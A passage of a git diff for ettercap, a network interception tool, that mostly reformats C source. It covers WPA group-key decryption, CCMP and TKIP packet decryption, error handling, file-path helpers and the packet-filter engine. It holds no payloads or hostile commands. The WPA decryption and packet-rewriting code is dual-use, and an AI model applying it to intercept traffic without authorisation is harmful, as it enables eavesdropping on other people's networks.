memcpy(new_key+16, decryption_key, 16); - DEBUG_DUMP("FullDecrKey:", new_key, 32); - - if (key_version == AIRPDCAP_WPA_KEY_VER_NOT_CCMP){ - guint8 dummy[256]; - /* TKIP key */ - /* Per 802.11i, Draft 3.0 spec, section 8.5.2, p. 97, line 4-8, */ - /* group key is decrypted using RC4. Concatenate the IV with the 16 byte EK (PTK+16) to get the decryption key */ - - rc4_state_struct rc4_state; - crypt_rc4_init(&rc4_state, new_key, sizeof(new_key)); - - /* Do dummy 256 iterations of the RC4 algorithm (per 802.11i, Draft 3.0, p. 97 line 6) */ - crypt_rc4(&rc4_state, dummy, 256); - crypt_rc4(&rc4_state, encrypted_key, key_len); - - } else if (key_version == AIRPDCAP_WPA_KEY_VER_AES_CCMP){ - /* AES CCMP key */ - - guint8 key_found; - guint16 key_index; - guint8 *decrypted_data; - - /* This storage is needed for the AES_unwrap function */ - decrypted_data = (guint8 *) g_malloc(key_len); - - AES_unwrap(decryption_key, 16, encrypted_key, key_len, decrypted_data); - - /* With WPA2 what we get after Broadcast Key decryption is an actual RSN structure. - The key itself is stored as a GTK KDE - WPA2 IE (1 byte) id = 0xdd, length (1 byte), GTK OUI (4 bytes), key index (1 byte) and 1 reserved byte. Thus we have to - pass pointer to the actual key with 8 bytes offset */ - - key_found = FALSE; - key_index = 0; - while(key_index < key_len && !key_found){ - guint8 rsn_id; - - /* Get RSN ID */ - rsn_id = decrypted_data[key_index]; - - if (rsn_id != 0xdd){ - key_index += decrypted_data[key_index+1]+2; - }else{ - key_found = TRUE; - } - } - - if (key_found){ - /* Skip over the GTK header info, and don't copy past the end of the encrypted data */ - memcpy(encrypted_key, decrypted_data+key_index+8, key_len-key_index-8); - } - - g_free(decrypted_data); - } - - /* Decrypted key is now in szEncryptedKey with len of key_len */ - DEBUG_DUMP("Broadcast key:", encrypted_key, key_len); - - /* Load the proper key material info into the SA */ - sa->key = &dummy_key; - sa->validKey = TRUE; - sa->wpa.key_ver = key_version; - memset(sa->wpa.ptk, 0, sizeof(sa->wpa.ptk)); - memcpy(sa->wpa.ptk+32, szEncryptedKey, key_len); - g_free(szEncryptedKey); + /* Build the full decryption key based on the IV and part of the pairwise key */ + memcpy(new_key, pEAPKey->key_iv, 16); + memcpy(new_key + 16, decryption_key, 16); + DEBUG_DUMP("FullDecrKey:", new_key, 32); + + if (key_version == AIRPDCAP_WPA_KEY_VER_NOT_CCMP) { + guint8 dummy[256]; + /* TKIP key */ + /* Per 802.11i, Draft 3.0 spec, section 8.5.2, p. 97, line 4-8, */ + /* group key is decrypted using RC4. Concatenate the IV with the 16 byte EK (PTK+16) to get the decryption key */ + + rc4_state_struct rc4_state; + crypt_rc4_init(&rc4_state, new_key, sizeof(new_key)); + + /* Do dummy 256 iterations of the RC4 algorithm (per 802.11i, Draft 3.0, p. 97 line 6) */ + crypt_rc4(&rc4_state, dummy, 256); + crypt_rc4(&rc4_state, encrypted_key, key_len); + } else if (key_version == AIRPDCAP_WPA_KEY_VER_AES_CCMP) { + /* AES CCMP key */ + + guint8 key_found; + guint16 key_index; + guint8 *decrypted_data; + + /* This storage is needed for the AES_unwrap function */ + decrypted_data = (guint8 *)g_malloc(key_len); + + AES_unwrap(decryption_key, 16, encrypted_key, key_len, decrypted_data); + + /* With WPA2 what we get after Broadcast Key decryption is an actual RSN structure. + * The key itself is stored as a GTK KDE + * WPA2 IE (1 byte) id = 0xdd, length (1 byte), GTK OUI (4 bytes), key index (1 byte) and 1 reserved byte. Thus we have to + * pass pointer to the actual key with 8 bytes offset */ + + key_found = FALSE; + key_index = 0; + while (key_index < key_len && !key_found) { + guint8 rsn_id; + + /* Get RSN ID */ + rsn_id = decrypted_data[key_index]; + + if (rsn_id != 0xdd) { + key_index += decrypted_data[key_index + 1] + 2; + } else { + key_found = TRUE; + } + } + + if (key_found) { + /* Skip over the GTK header info, and don't copy past the end of the encrypted data */ + memcpy(encrypted_key, decrypted_data + key_index + 8, key_len - key_index - 8); + } + + g_free(decrypted_data); + } + + /* Decrypted key is now in szEncryptedKey with len of key_len */ + DEBUG_DUMP("Broadcast key:", encrypted_key, key_len); + + /* Load the proper key material info into the SA */ + sa->key = &dummy_key; + sa->validKey = TRUE; + sa->wpa.key_ver = key_version; + memset(sa->wpa.ptk, 0, sizeof(sa->wpa.ptk)); + memcpy(sa->wpa.ptk + 32, szEncryptedKey, key_len); + g_free(szEncryptedKey); #endif @@ -625,7 +614,6 @@ int wpa_decrypt_broadcast_key(struct eapol_key_header *eapol_key, struct rsn_ie_ return E_SUCCESS; } - int wpa_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa) { /* @@ -646,4 +634,3 @@ int wpa_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_encryption_ccmp.c b/src/ec_encryption_ccmp.c index 8f8761e8f..910da7f14 100644 --- a/src/ec_encryption_ccmp.c +++ b/src/ec_encryption_ccmp.c @@ -1,23 +1,23 @@ /* - ettercap -- encryption functions - - Copyright (C) The Ettercap Dev Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- encryption functions + * + * Copyright (C) The Ettercap Dev Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -28,16 +28,17 @@ /* globals */ -#define CCMP_DECRYPT(_i, _b, _b0, _enc, _a, _len, _ctx) { \ - /* Decrypt, with counter */ \ - _b0[14] = (u_int8)((_i >> 8) & 0xff); \ - _b0[15] = (u_int8)(_i & 0xff); \ - AES_encrypt(_b0, _b, _ctx); \ - XOR_BLOCK(_enc, _b, _len); \ - /* Authentication */ \ - XOR_BLOCK(_a, _enc, _len); \ - AES_encrypt(_a, _a, _ctx); \ -} +#define CCMP_DECRYPT(_i, _b, _b0, _enc, _a, _len, _ctx) \ + { \ + /* Decrypt, with counter */ \ + _b0[14] = (u_int8)((_i >> 8) & 0xff); \ + _b0[15] = (u_int8)(_i & 0xff); \ + AES_encrypt(_b0, _b, _ctx); \ + XOR_BLOCK(_enc, _b, _len); \ + /* Authentication */ \ + XOR_BLOCK(_a, _enc, _len); \ + AES_encrypt(_a, _a, _ctx); \ + } /* protos */ @@ -57,13 +58,13 @@ int wpa_ccmp_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa) u_char mic[WPA_CCMP_TRAILER]; u_char PN[6]; /* 48 bit Packet Number */ size_t data_len = len - sizeof(struct wpa_header); - u_char AAD[AES_BLOCK_SIZE*2]; + u_char AAD[AES_BLOCK_SIZE * 2]; u_char BZERO[AES_BLOCK_SIZE], A[AES_BLOCK_SIZE], B[AES_BLOCK_SIZE]; u_char decbuf[len]; AES_KEY aes_ctx; if (len > UINT16_MAX) { - return -E_NOTHANDLED; + return -E_NOTHANDLED; } /* init the AES with the decryption key from SA */ @@ -101,7 +102,7 @@ int wpa_ccmp_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa) /* decrypt the packet */ if (ccmp_decrypt(decbuf, BZERO, B, A, mic, len, &aes_ctx) != 0) { - //DEBUG_MSG(D_VERBOSE, "WPA (CCMP) decryption failed, packet was skipped"); + // DEBUG_MSG(D_VERBOSE, "WPA (CCMP) decryption failed, packet was skipped"); return -E_NOTHANDLED; } @@ -122,7 +123,6 @@ int wpa_ccmp_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa) return E_SUCCESS; } - /* * IEEE-802.11i-2004 8.3.3.2 * @@ -141,7 +141,6 @@ static inline void get_PN(u_char *PN, u_char *data) PN[5] = data[7]; } - static inline void get_BZERO(u_char *BZERO, u_char *mac, u_char *PN, size_t len) { BZERO[0] = 0x59; @@ -149,15 +148,15 @@ static inline void get_BZERO(u_char *BZERO, u_char *mac, u_char *PN, size_t len) memcpy(BZERO + 2, mac + 10, ETH_ADDR_LEN); - BZERO[8] = PN[5]; - BZERO[9] = PN[4]; + BZERO[8] = PN[5]; + BZERO[9] = PN[4]; BZERO[10] = PN[3]; BZERO[11] = PN[2]; BZERO[12] = PN[1]; BZERO[13] = PN[0]; - BZERO[14] = ( len >> 8 ) & 0xFF; - BZERO[15] = ( len & 0xFF ); + BZERO[14] = (len >> 8) & 0xFF; + BZERO[15] = (len & 0xFF); } static inline void get_AAD(u_char *AAD, u_char *mac, u_char *BZERO) @@ -174,7 +173,7 @@ static inline void get_AAD(u_char *AAD, u_char *mac, u_char *BZERO) /* XXX - implement the case of AP to AP 4 addresses wifi header */ /* if WIFI_DATA | WIFI_BACON, we have a QoS Packet */ - if ( (mac[0] & (0x80 | 0x08)) == 0x88 ) { + if ((mac[0] & (0x80 | 0x08)) == 0x88) { AAD[24] = mac[24] & 0x0f; /* just priority bits */ AAD[25] = 0; BZERO[1] = AAD[24]; @@ -186,7 +185,6 @@ static inline void get_AAD(u_char *AAD, u_char *mac, u_char *BZERO) } } - static int ccmp_decrypt(u_char *enc, u_char *BZERO, u_char *B, u_char *A, u_char *mic, size_t len, AES_KEY *ctx) { int i = 1; @@ -213,4 +211,3 @@ static int ccmp_decrypt(u_char *enc, u_char *BZERO, u_char *B, u_char *A, u_char /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_encryption_tkip.c b/src/ec_encryption_tkip.c index 8b4678f5f..60f125f63 100644 --- a/src/ec_encryption_tkip.c +++ b/src/ec_encryption_tkip.c @@ -1,23 +1,23 @@ /* - ettercap -- encryption functions - - Copyright (C) The Ettercap Dev Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- encryption functions + * + * Copyright (C) The Ettercap Dev Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -79,9 +79,10 @@ static const u_int16 Sbox[256] = { #define Hi16(val) ((u_int16)((val) >> 16)) #define _S_(v) ((u_int16)(Sbox[Lo8(v)] ^ ((Sbox[Hi8(v)] << 8) | (Sbox[Hi8(v)] >> 8)))) -#define pletohs(p) ((u_int16) \ - ((u_int16)*((const u_int8 *)(p)+1)<<8| \ - (u_int16)*((const u_int8 *)(p)+0)<<0)) +#define pletohs(p) \ + ((u_int16) \ + ((u_int16) * ((const u_int8 *)(p) + 1) << 8 | \ + (u_int16) * ((const u_int8 *)(p) + 0) << 0)) #define Mk16_le(v) ((u_int16)pletohs(v)) @@ -103,11 +104,11 @@ int wpa_tkip_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa) u_int32 TSC32; /* TKIP Sequence Counter ( 2, 3, 4, 5 ) */ u_int16 TSC16; /* TKIP Sequence Counter ( 1, 0 ) */ u_int16 TTAK[TKIP_TTAK_LEN]; - u_int8 wep_seed[TKIP_WEP_128_KEY_LEN]; + u_int8 wep_seed[TKIP_WEP_128_KEY_LEN]; u_char decbuf[len]; if (len > UINT16_MAX) { - return -E_NOTHANDLED; + return -E_NOTHANDLED; } /* get the TKIP Sequence Counter */ @@ -124,7 +125,7 @@ int wpa_tkip_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa) /* decrypt the packet */ if (tkip_decrypt(decbuf, len - WEP_CRC_LEN, wep_seed) != 0) { - //DEBUG_MSG(D_VERBOSE, "WPA (TKIP) decryption failed, packet was skipped"); + // DEBUG_MSG(D_VERBOSE, "WPA (TKIP) decryption failed, packet was skipped"); return -E_NOTHANDLED; } @@ -157,11 +158,10 @@ static inline void get_TSC(u_int32 *TSC32, u_int16 *TSC16, u_char *data) *TSC16 = to_int16(data[0], data[2]); - *TSC32 = ( (u_int32)(data[7]) << 24 ) | - ( (u_int32)(data[6]) << 16 ) | - ( (u_int32)(data[5]) << 8 ) | - ( (u_int32)(data[4]) ); - + *TSC32 = ((u_int32)(data[7]) << 24) | + ((u_int32)(data[6]) << 16) | + ((u_int32)(data[5]) << 8) | + ((u_int32)(data[4])); } /* @@ -180,13 +180,12 @@ static inline void tkip_mixing_phase1(u_int16 *TTAK, u_int8 *TK, u_int8 *TA, u_i for (i = 0; i < TKIP_PHASE1_LOOP_COUNT; i++) { j = (u_int16)(2 * (i & 1)); - TTAK[0] = (u_int16)(TTAK[0] + _S_((u_int16)(TTAK[4] ^ to_int16(TK[1 + j], TK[0 + j])))); - TTAK[1] = (u_int16)(TTAK[1] + _S_((u_int16)(TTAK[0] ^ to_int16(TK[5 + j], TK[4 + j])))); - TTAK[2] = (u_int16)(TTAK[2] + _S_((u_int16)(TTAK[1] ^ to_int16(TK[9 + j], TK[8 + j])))); + TTAK[0] = (u_int16)(TTAK[0] + _S_((u_int16)(TTAK[4] ^ to_int16(TK[1 + j], TK[0 + j])))); + TTAK[1] = (u_int16)(TTAK[1] + _S_((u_int16)(TTAK[0] ^ to_int16(TK[5 + j], TK[4 + j])))); + TTAK[2] = (u_int16)(TTAK[2] + _S_((u_int16)(TTAK[1] ^ to_int16(TK[9 + j], TK[8 + j])))); TTAK[3] = (u_int16)(TTAK[3] + _S_((u_int16)(TTAK[2] ^ to_int16(TK[13 + j], TK[12 + j])))); - TTAK[4] = (u_int16)(TTAK[4] + _S_((u_int16)(TTAK[3] ^ to_int16(TK[1 + j], TK[0 + j]))) + i); + TTAK[4] = (u_int16)(TTAK[4] + _S_((u_int16)(TTAK[3] ^ to_int16(TK[1 + j], TK[0 + j]))) + i); } - } static inline void tkip_mixing_phase2(u_int8 *WEP, u_int8 *TK, u_int16 *TTAK, u_int16 TSC16) @@ -222,7 +221,6 @@ static inline void tkip_mixing_phase2(u_int8 *WEP, u_int8 *TK, u_int16 *TTAK, u_ WEP[4 + (2 * i)] = Lo8(TTAK[i]); WEP[5 + (2 * i)] = Hi8(TTAK[i]); } - } /* @@ -243,7 +241,7 @@ static int tkip_decrypt(u_char *decbuf, size_t len, u_int8 *wep_seed) * at the end of the packet there is a CRC check */ if (CRC_checksum(decbuf, len + WEP_CRC_LEN, CRC_INIT) != CRC_RESULT) { - //DEBUG_MSG(D_VERBOSE, "WEP: invalid key, the packet was skipped\n"); + // DEBUG_MSG(D_VERBOSE, "WEP: invalid key, the packet was skipped\n"); return -E_NOTHANDLED; } @@ -253,4 +251,3 @@ static int tkip_decrypt(u_char *decbuf, size_t len, u_int8 *wep_seed) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_error.c b/src/ec_error.c index 4b1e044da..efcde83e9 100644 --- a/src/ec_error.c +++ b/src/ec_error.c @@ -1,23 +1,23 @@ /* - ettercap -- error handling module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- error handling module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -46,20 +46,19 @@ void error_msg(char *file, const char *function, int line, char *message, ...) #else err_code = errno; #endif - va_start(ap, message); vsnprintf(errmsg, ERROR_MSG_LEN, message, ap); va_end(ap); - DEBUG_MSG("ERROR : %d, %s\n[%s:%s:%d] %s \n", err_code, strerror(err_code), - file, function, line, errmsg ); - + DEBUG_MSG("ERROR : %d, %s\n[%s:%s:%d] %s \n", err_code, strerror(err_code), + file, function, line, errmsg); + /* close the interface and display the error */ ui_cleanup(); - - fprintf(stderr, "ERROR : %d, %s\n[%s:%s:%d]\n\n %s \n\n", err_code, strerror(err_code), - file, function, line, errmsg ); + + fprintf(stderr, "ERROR : %d, %s\n[%s:%s:%d]\n\n %s \n\n", err_code, strerror(err_code), + file, function, line, errmsg); clean_exit(-err_code); } @@ -73,7 +72,6 @@ void warn_msg(char *file, const char *function, int line, char *message, ...) va_list ap; char warnmsg[ERROR_MSG_LEN + 1]; - va_start(ap, message); vsnprintf(warnmsg, ERROR_MSG_LEN, message, ap); va_end(ap); @@ -81,7 +79,6 @@ void warn_msg(char *file, const char *function, int line, char *message, ...) DEBUG_MSG("WARNING: [%s:%s:%d] %s \n", file, function, line, warnmsg); fprintf(stdout, "WARNING: [%s:%s:%d]\n\n %s \n\n", file, function, line, warnmsg); - } /* @@ -116,18 +113,16 @@ void fatal_error(char *message, ...) void bug(char *file, const char *function, int line, char *message) { - DEBUG_MSG("BUG : [%s:%s:%d] %s \n", file, function, line, message ); - + DEBUG_MSG("BUG : [%s:%s:%d] %s \n", file, function, line, message); + /* close the interface and display the error */ ui_cleanup(); - - fprintf(stderr, "\n\nBUG at [%s:%s:%d]\n\n %s \n\n", file, function, line, message ); + + fprintf(stderr, "\n\nBUG at [%s:%s:%d]\n\n %s \n\n", file, function, line, message); clean_exit(-666); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_exit.c b/src/ec_exit.c index ca85ecc27..4b0c4d985 100644 --- a/src/ec_exit.c +++ b/src/ec_exit.c @@ -1,23 +1,23 @@ /* - ettercap -- everything starts from this file... - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- everything starts from this file... + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -34,7 +34,7 @@ void clean_exit(int errcode) { DEBUG_MSG("clean_exit: %d", errcode); - + INSTANT_USER_MSG("\nTerminating %s...\n", GBL_PROGRAM); #ifdef HAVE_EC_LUA @@ -59,5 +59,4 @@ void clean_exit(int errcode) /* call all the ATEXIT functions */ exit(errcode); - } diff --git a/src/ec_file.c b/src/ec_file.c index 20ab85842..c7d079629 100644 --- a/src/ec_file.c +++ b/src/ec_file.c @@ -1,23 +1,23 @@ /* - ettercap -- data handling module (fingerprints databases etc) - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- data handling module (fingerprints databases etc) + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -29,20 +29,20 @@ * add the prefix to a given filename */ -char * get_full_path(const char *dir, const char *file) +char *get_full_path(const char *dir, const char *file) { char *filename; int len = 256; SAFE_CALLOC(filename, len, sizeof(char)); - + if (!strcmp(dir, "etc")) snprintf(filename, len, "%s/%s/%s", INSTALL_SYSCONFDIR, EC_PROGRAM, file); else if (!strcmp(dir, "share")) snprintf(filename, len, "%s/%s/%s", INSTALL_DATADIR, EC_PROGRAM, file); DEBUG_MSG("get_full_path -- [%s] %s", dir, filename); - + return filename; } @@ -50,7 +50,7 @@ char * get_full_path(const char *dir, const char *file) * add the local path to a given filename */ -char * get_local_path(const char *file) +char *get_local_path(const char *file) { char *filename; @@ -62,47 +62,44 @@ char * get_local_path(const char *file) #endif SAFE_CALLOC(filename, strlen(self_root) + strlen("/share/") + strlen(file) + 1, sizeof(char)); - - snprintf(filename, strlen(self_root)+strlen("/share/") + strlen(file) + 1, "%s/share/%s", self_root, file); - + + snprintf(filename, strlen(self_root) + strlen("/share/") + strlen(file) + 1, "%s/share/%s", self_root, file); + DEBUG_MSG("get_local_path -- %s", filename); - + return filename; } - /* * opens a file in the share directory. * first look in the installation path, then locally. */ -FILE * open_data(char *dir, char *file, char *mode) +FILE *open_data(char *dir, char *file, char *mode) { FILE *fd; char *filename = NULL; filename = get_full_path(dir, file); - + DEBUG_MSG("open_data (%s)", filename); - + fd = fopen(filename, mode); if (fd == NULL) { SAFE_FREE(filename); filename = get_local_path(file); DEBUG_MSG("open_data dropping to %s", filename); - + fd = fopen(filename, mode); /* don't check the fd, it is done by the caller */ } - + SAFE_FREE(filename); - + return fd; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_filter.c b/src/ec_filter.c index b68a20993..537fe6cdf 100644 --- a/src/ec_filter.c +++ b/src/ec_filter.c @@ -1,23 +1,23 @@ /* - ettercap -- content filtering engine module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- content filtering engine module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -31,22 +31,21 @@ #include #ifdef HAVE_PCRE - #include +#include #endif - -#define JIT_FAULT(x, ...) do { USER_MSG("JIT FILTER FAULT: " x "\n", ## __VA_ARGS__); return -E_FATAL; } while(0) +#define JIT_FAULT(x, ...) do { USER_MSG("JIT FILTER FAULT: " x "\n", ## __VA_ARGS__); return -E_FATAL; } while (0) /* since we need a recursive mutex, we cannot initialize it here statically */ static pthread_mutex_t filters_mutex; -#define FILTERS_LOCK do{ pthread_mutex_lock(&filters_mutex); }while(0) -#define FILTERS_UNLOCK do{ pthread_mutex_unlock(&filters_mutex); }while(0) +#define FILTERS_LOCK do { pthread_mutex_lock(&filters_mutex); } while (0) +#define FILTERS_UNLOCK do { pthread_mutex_unlock(&filters_mutex); } while (0) /* protos */ static void reconstruct_strings(struct filter_env *fenv, struct filter_header *fh); static int compile_regex(struct filter_env *fenv); - + static int filter_engine(struct filter_op *fop, struct packet_object *po); static int execute_test(struct filter_op *fop, struct packet_object *po); static int execute_assign(struct filter_op *fop, struct packet_object *po); @@ -73,7 +72,8 @@ static int cmp_geq(u_int32 a, u_int32 b); /*******************************************/ /* initialize the filter mutex */ -void filter_init_mutex(void) { +void filter_init_mutex(void) +{ pthread_mutexattr_t at; pthread_mutexattr_init(&at); /* we want an recursive mutex, so we can re-aquire it in the same thread */ @@ -90,9 +90,9 @@ static int filter_engine(struct filter_op *fop, struct packet_object *po) { u_int32 eip = 0; u_int32 flags = 0; - #define FLAG_FALSE 0 - #define FLAG_TRUE 1 - +#define FLAG_FALSE 0 +#define FLAG_TRUE 1 + /* sanity check */ BUG_IF(fop == NULL); @@ -102,70 +102,70 @@ static int filter_engine(struct filter_op *fop, struct packet_object *po) while (fop[eip].opcode != FOP_EXIT) { switch (fop[eip].opcode) { - case FOP_TEST: - if (execute_test(&fop[eip], po) == FLAG_TRUE) - flags |= FLAG_TRUE; - else - flags &= ~(FLAG_TRUE); - - break; - - case FOP_ASSIGN: - execute_assign(&fop[eip], po); - /* assignment always returns true */ + case FOP_TEST: + if (execute_test(&fop[eip], po) == FLAG_TRUE) flags |= FLAG_TRUE; - - break; - - case FOP_INC: - case FOP_DEC: - execute_incdec(&fop[eip], po); - /* inc/dec always return true */ + else + flags &= ~(FLAG_TRUE); + + break; + + case FOP_ASSIGN: + execute_assign(&fop[eip], po); + /* assignment always returns true */ + flags |= FLAG_TRUE; + + break; + + case FOP_INC: + case FOP_DEC: + execute_incdec(&fop[eip], po); + /* inc/dec always return true */ + flags |= FLAG_TRUE; + + break; + + case FOP_FUNC: + if (execute_func(&fop[eip], po) == FLAG_TRUE) flags |= FLAG_TRUE; - - break; - - case FOP_FUNC: - if (execute_func(&fop[eip], po) == FLAG_TRUE) - flags |= FLAG_TRUE; - else - flags &= ~(FLAG_TRUE); + else + flags &= ~(FLAG_TRUE); - break; - - case FOP_JMP: - /* jump the the next eip */ + break; + + case FOP_JMP: + /* jump the the next eip */ + eip = fop[eip].op.jmp; + continue; + + break; + + case FOP_JTRUE: + /* jump the the next eip if the TRUE FLAG is set*/ + if (flags & FLAG_TRUE) { eip = fop[eip].op.jmp; continue; + } + break; - break; - - case FOP_JTRUE: - /* jump the the next eip if the TRUE FLAG is set*/ - if (flags & FLAG_TRUE) { - eip = fop[eip].op.jmp; - continue; - } - break; - - case FOP_JFALSE: - /* jump the the next eip if the TRUE FLAG is NOT set */ - if (!(flags & FLAG_TRUE)) { - eip = fop[eip].op.jmp; - continue; - } - break; - - default: - FILTERS_UNLOCK; - JIT_FAULT("unsupported opcode [%d] (execution interrupted)", fop[eip].opcode); - break; + case FOP_JFALSE: + /* jump the the next eip if the TRUE FLAG is NOT set */ + if (!(flags & FLAG_TRUE)) { + eip = fop[eip].op.jmp; + continue; + } + break; + + default: + FILTERS_UNLOCK; + JIT_FAULT("unsupported opcode [%d] (execution interrupted)", fop[eip].opcode); + break; } - + /* autoincrement the instruction pointer */ eip++; } - + FILTERS_UNLOCK; return 0; @@ -174,11 +174,12 @@ static int filter_engine(struct filter_op *fop, struct packet_object *po) /* * pass a packet through every (enabled) filter loaded */ -void filter_packet(struct packet_object *po) { +void filter_packet(struct packet_object *po) +{ struct filter_list **l; for (l = GBL_FILTERS; *l != NULL; l = &(*l)->next) { /* if a script drops the packet, do not present it to following scripts */ - if ( po->flags & PO_DROPPED ) + if (po->flags & PO_DROPPED) break; /* check whether the filter script is enabled */ if ((*l)->enabled) @@ -186,88 +187,88 @@ void filter_packet(struct packet_object *po) { } } -/* +/* * execute a function. * return FLAG_TRUE if the function was successful */ static int execute_func(struct filter_op *fop, struct packet_object *po) { switch (fop->op.func.op) { - case FFUNC_SEARCH: - /* search the string */ - if (func_search(fop, po) == 